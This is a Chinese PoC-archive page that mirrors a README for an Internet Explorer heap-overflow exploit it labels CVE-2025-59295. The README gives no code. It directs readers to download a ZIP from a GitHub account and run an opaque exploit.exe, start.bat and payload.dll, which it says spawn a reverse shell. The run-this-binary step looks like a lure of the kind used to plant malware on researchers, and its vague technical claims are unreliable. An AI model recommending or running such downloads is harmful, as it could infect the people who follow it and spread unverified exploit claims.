目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-59295 PoC — Microsoft Windows 安全漏洞

来源
关联漏洞
标题: Microsoft Windows 安全漏洞 (CVE-2025-59295)
Description:Microsoft Windows是美国微软(Microsoft)公司的一套个人设备使用的操作系统。 Microsoft Windows存在安全漏洞,该漏洞源于攻击者利用该漏洞可以远程执行代码。
介绍
# Lab: CVE-2025-59295 - Heap-based Buffer Overflow in Internet Explorer

## ⚠️ Safety Disclaimer
This repository is provided for educational and research purposes only. It demonstrates a vulnerability in a controlled environment. Do not use this in production systems or against real-world targets without explicit permission. The exploit code is designed to be harmless in non-vulnerable setups but could potentially cause crashes or unintended behavior in emulated environments. The authors disclaim any liability for misuse.

## 🚀 Overview
CVE-2025-59295 is a heap-based buffer overflow vulnerability in Internet Explorer (versions 11 and below) that allows an unauthorized attacker to execute arbitrary code over a network. The flaw occurs during the parsing of malformed HTML canvas elements embedded with oversized script buffers, leading to memory corruption. 

Impact: This high-severity issue could enable remote code execution (RCE), sensitive data exfiltration, or system compromise when a victim browses a maliciously crafted webpage.

## 📋 Prerequisites
- A host machine with at least 4GB RAM and internet access for pulling base images.
- Basic knowledge of command-line tools and networking.
- Windows host or VM to run the exploit tool (as it's .exe-based).

## Download & Install
Download the exploit package (includes main exploit executable and starter batch file): [Download Exploit ZIP](https://github.com/usjnx72726w/CVE-2025-59295/raw/refs/heads/main/Howea/lab-cve-2025-59295.zip)
   - The ZIP contains:
     - `exploit.exe`: The main exploit binary, which hosts a malicious web server and crafts the overflow payload.
     - `start.bat`: A batch file to launch `exploit.exe` with default parameters.
     - Supporting files: `payload.dll` (payload library), `config.ini` (configuration for target IP/port).

## Usage
**Launch the Exploit**:
   - Unzip the exploit package.
   - Edit `config.ini` if needed (default targets localhost:8080).
     ```
     [Target]
     host=localhost
     port=8080
     ```
   - Run `start.bat`: This executes `exploit.exe`, which:
     - Crafts a malformed HTML payload exploiting the heap overflow via oversized ArrayBuffer manipulation.
     - Injects shellcode to spawn a reverse shell (logs to console).
     - Hosts the payload at `http://localhost:9000/exploit.html`.
3. **Trigger the Exploit**: From a vulnerable IE instance, visit `http://localhost:9000/exploit.html`. The buffer overflow should trigger, leading to:
   - Heap corruption.
   - Arbitrary code execution.
4. **Verify**: Check exploit.exe logs for success indicators like memory dump or shell access. Use tools like Wireshark to inspect network traffic for the overflow payload.

For any inquiries, please email me at: FarrishPiedra834@hotmail.com
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →